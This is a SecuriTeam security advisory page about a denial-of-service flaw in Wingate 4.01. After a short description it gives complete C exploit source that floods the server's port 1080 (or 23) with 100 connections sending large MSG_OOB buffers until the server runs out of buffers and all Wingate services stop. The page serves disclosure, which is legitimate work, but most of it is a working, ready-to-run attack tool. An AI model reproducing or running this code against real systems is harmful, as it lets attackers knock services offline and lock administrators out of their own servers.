SecuriTeam - Wingate MSG_OOB flag DoS (exploit code)

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CanSecWest 2012

2nd Annual Cyber Security

Hack In Paris

Wingate suffers from a security vulnerability that allows remote attackers to cause a denial of service attack against a machine running Wingate 4.01. The product seems to be unable to handle a large amount of connections that send it MSG_OOB data.

Credit:
The information has been provided by god- at EFNet.

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Vulnerable systems:
Wingate 4.01

The exploit code below shows how this vulnerability can be exploited to launch a DoS attack against Wingate.

Exploit:
/* god- 3/dec/y2k
* well just a small little thingie in here.
* we open multiply connections and we send a large buffer
* with the MSG_OOB flag. this will cause all connections to stay
* alive (as the WinGate server will think) and he will get
* overflowed ( thank you sigpipe =) ). when the local adminitrator will try to

* login to his wingate server, it will give him the error 'out of buffers'
* and he wont be able to login.
* and yes, this disables ALL of the wingate services.
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h>

char usage(char *);
unsigned long elookup(const char *);

void sighan(int sig_num) {
   printf("Expected SIGPIPE... got it!\n");
   printf("bailing out!\n");
   exit(0);
}

int main(int argc, char *argv[]) {
   int fd, fd2;
   int fd3[100];
   int i = 0;
   struct sockaddr_in sin;
   /* blah blah large and shitty buffer */
   char buffer[40000] = "\r\n\n";

   char *einval = "argument";
   char *refu = "refused";
   if(argc != 2) usage(argv[0]);
   signal(SIGPIPE, sighan);
   for(i = 0; i < 100;i++) {
      if((fd3[i] = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
         perror("socket");
         exit(0);
      }
   }
   memset(&sin, 0, sizeof(sin));
   sin.sin_port = htons(1080);
   sin.sin_family = AF_INET;
   if((sin.sin_addr.s_addr = elookup(argv[1])) == -1) return -1;

   printf("WinGate Remote DoS by god-@EFnet!\n");
   printf("Crashing wingate ports...\n");

   if((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
      perror("socket");
      exit(0);
   }
   if((fd2 = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
      perror("socket");
      exit(0);
   }
   for(i = 0; i < 100 ; i++) {
      if(connect(fd3[i], (struct sockaddr*)&sin, sizeof(sin)) == -1) {
         if(strstr(sys_errlist[errno], refu) != NULL) {
            sin.sin_port = htons(23);
         }
      }
      if(send(fd3[i], buffer, strlen(buffer), MSG_OOB) == -1) {
         if(strstr(sys_errlist[errno], einval) != NULL) {
            printf("This WinGate DoS program cannot run on this box =[\n");
            exit(0);
         }
         else { perror("socket"); exit(0); }
      }
   }
   /* NOT REACHED ( BECAUSE OF SIGPIPE ), BUT STILL HERE. */

   printf("checking if port is open...");
   shutdown(2, fd);
   if(connect(fd2, (struct sockaddr*)&sin, sizeof(sin)) == -1) {
      printf("port got crashed! mauyauhahu!\n");
      exit(0);
   }
   else {
      printf("dos failed =[\n");
   }
   return 0;
}

char usage(char *fname) {
   printf("WinGate Remote DoS attack by god-@EFNet!\n");
   printf("Usage: %s <host>\n", fname);
/* SecuriTeam.com */
   exit(0);
}
unsigned long elookup (const char *host){

   struct in_addr in;
   struct hostent *hp;
   if ((in.s_addr = inet_addr(host)) == -1){
      if ((hp = gethostbyname(host)) == (struct hostent *)NULL)
        return -1;
      memcpy (&in.s_addr, hp->h_addr, hp->h_length);
   }
   return in.s_addr;
}

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